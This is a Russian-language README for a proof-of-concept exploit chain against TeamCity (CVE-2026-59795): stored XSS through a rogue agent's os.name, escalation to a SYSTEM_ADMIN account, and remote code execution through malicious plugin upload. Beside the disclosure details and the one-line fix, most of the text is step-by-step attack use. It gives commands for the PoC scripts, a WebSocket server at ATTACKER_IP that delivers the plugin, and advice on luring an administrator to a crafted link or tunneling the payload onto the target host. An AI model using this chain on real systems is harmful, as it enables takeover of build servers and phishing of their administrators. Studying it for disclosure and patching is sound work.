
Proof-of-concept для CVE-2026-59795: неаутентифицированный хранимый XSS в сведениях об агенте TeamCity, объединённый с созданием учётной записи SYSTEM_ADMIN и RCE через загрузку плагина.
Неаутентифицированный хранимый XSS на устаревшей странице сведений об агенте в TeamCity, переходящий в RCE на сервере без перезапуска. Злоумышленник регистрирует сборочный агент (учётные данные не требуются) с вредоносным os.name, после чего добивается, чтобы администратор открыл страницу сведений об этом агенте. Полезная нагрузка выполняется в аутентифицированной сессии администратора и может создать учётную запись SYSTEM_ADMIN либо загрузить и активировать вредоносный плагин.
| CVE | CVE-2026-59795 |
| Затронуто | TeamCity <= 2026.1.1 (build 222577) |
| Исправлено в | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| Тип | Хранимый XSS (CWE-79), цепочка до захвата SYSTEM_ADMIN и RCE |
| Требуется аутентификация | Нет для размещения полезной нагрузки |
Триггер: администратор открывает вредоносный агент — либо по специально сформированной ссылке с &fromSakuraUI=true в один клик в стандартном интерфейсе Sakura, либо вовсе без фишинга, открывая ожидающего агента в обычном процессе авторизации, когда администратор использует классический интерфейс (у пользователя снят флажок «Use Sakura UI» или на сервере включён классический режим).
webapps/ROOT/agent/agentSummary.jsp выводит имя ОС, сообщённое агентом, без экранирования:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
Полный разбор со скриншотами и предысторией: https://joakimbulow.com/posts/cve-2026-59795/
Имя соседнего агента несколькими строками выше использует <c:out>, что подтверждает случайность пропуска. operatingSystemName полностью контролируется атакующим: неаутентифицированный агент задаёт его при регистрации (атрибут osName в POST /app/agents/v1/register), и сервер сохраняет и возвращает его дословно.
React-интерфейс Sakura корректно экранирует osName и обычно перенаправляет со старой страницы, но перенаправление пропускается (и неэкранированный JSP отображается), когда:
?fromSakuraUI=true в URL (собственный флаг обхода тега перенаправления), илиteamcity.ui.experimental=disableDefault или персональный отказ от «Use Sakura UI»), илиПодтверждено на практике:
alert(document.domain) в сессии администратора, без побочных эффектов.SYSTEM_ADMIN в сессии администратора (без RCE)./admin/pluginUpload.html и включает его через /admin/plugins.html (EnableAllPlugins), что загружает Java-код атакующего в работающую JVM TeamCity без перезапуска. Проверено с помощью proof-файла, записанного на хосте сервера, через 4 секунды после клика администратора.Экранируйте вывод в agentSummary.jsp:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(Поле agent.version в строке выше имеет ту же проблему и требует такого же исправления.)
GET /update/buildAgent.zipjavac на машине атакующего, требуется только для PoC RCEcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
Вам не нужно вручную редактировать conf/buildAgent.properties; каждый PoC ниже задаёт serverUrl из своего аргумента --url/--tc-url и перезаписывает имя агента при каждом запуске, поэтому один и тот же распакованный каталог evilagent/ можно безопасно использовать повторно.
./poc/)Запускайте их по порядку, каждый подтверждает большее воздействие, чем предыдущий.
1. alert_only.py, подтверждение XSS без побочных эффектов. Внедряет агента, чей osName вызывает alert(document.domain). Аккаунт не создаётся, код не выполняется.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, XSS-захват до SYSTEM_ADMIN, без RCE. Тот же внедрённый код, но полезная нагрузка создаёт учётную запись SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) и опрашивает систему до тех пор, пока эта учётная запись не сможет войти.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, полная цепочка, от XSS к загрузке плагина и к RCE, в одном терминале. Собирает плагин, запускает вредоносный агент и WebSocket-сервер и выводит фишинговую ссылку. Когда администратор открывает её: срабатывает XSS, WS-сервер доставляет плагин, тот загружается и включается, и TeamCity загружает его во время выполнения.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
Каждый PoC выводит ссылку вида:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
Отправьте это администратору (Sakura UI, в один клик), или, если администратор уже использует классический UI, просто укажите ему на agentDetails.html?id=N без специального параметра, например, через обычный процесс проверки ожидающих агентов.
В течение нескольких секунд после клика администратора на хосте сервера TeamCity:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
Если браузер администратора не может напрямую достучаться до вашей машины атакующего — например, вы доступны только через SSH-туннель в целевую сеть — используйте rce_prepare.py, чтобы собрать плагин и агент на своей машине, затем перенесите poc/ws_serve.py и собранный ZIP-архив плагина на хост TeamCity и раздавайте их оттуда:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
Пробросьте WebSocket-порт через тот же туннель, который используется для доступа к TeamCity (-L 1337:localhost:1337), чтобы браузер администратора мог достучаться до него как ws://localhost:1337.
Примечание по очистке: каждый запуск регистрирует агента с новым именем, поэтому повторные запуски не будут конфликтовать, но каждый из них оставляет после себя нового неавторизованного агента. Удалите их в разделе Agents -> Unauthorized после тестирования.
| Файл | Назначение |
|---|---|
poc/alert_only.py | Шаг триажа 1, подтверждение XSS с помощью безвредного alert() |
poc/attacker_deeplink.py | Шаг триажа 2, от XSS к захвату SYSTEM_ADMIN |
poc/rce_ws_server.py | Шаг триажа 3, полная цепочка от XSS к загрузке и до RCE, в одном терминале |
poc/rce_prepare.py | Та же цепочка RCE, разделённая так, чтобы WebSocket-сервер мог работать на целевом хосте (настройки с туннелем) |
poc/ws_serve.py | Автономный WebSocket-сервер для раздачи файлов, используемый в разделённой настройке rce_prepare.py |
poc/poclib.py | Общий вспомогательный модуль: настраивает и запускает вредоносного агента |
poc/payloads.txt | Необработанные варианты XSS-полезной нагрузки (alert, без пробелов, create-admin) |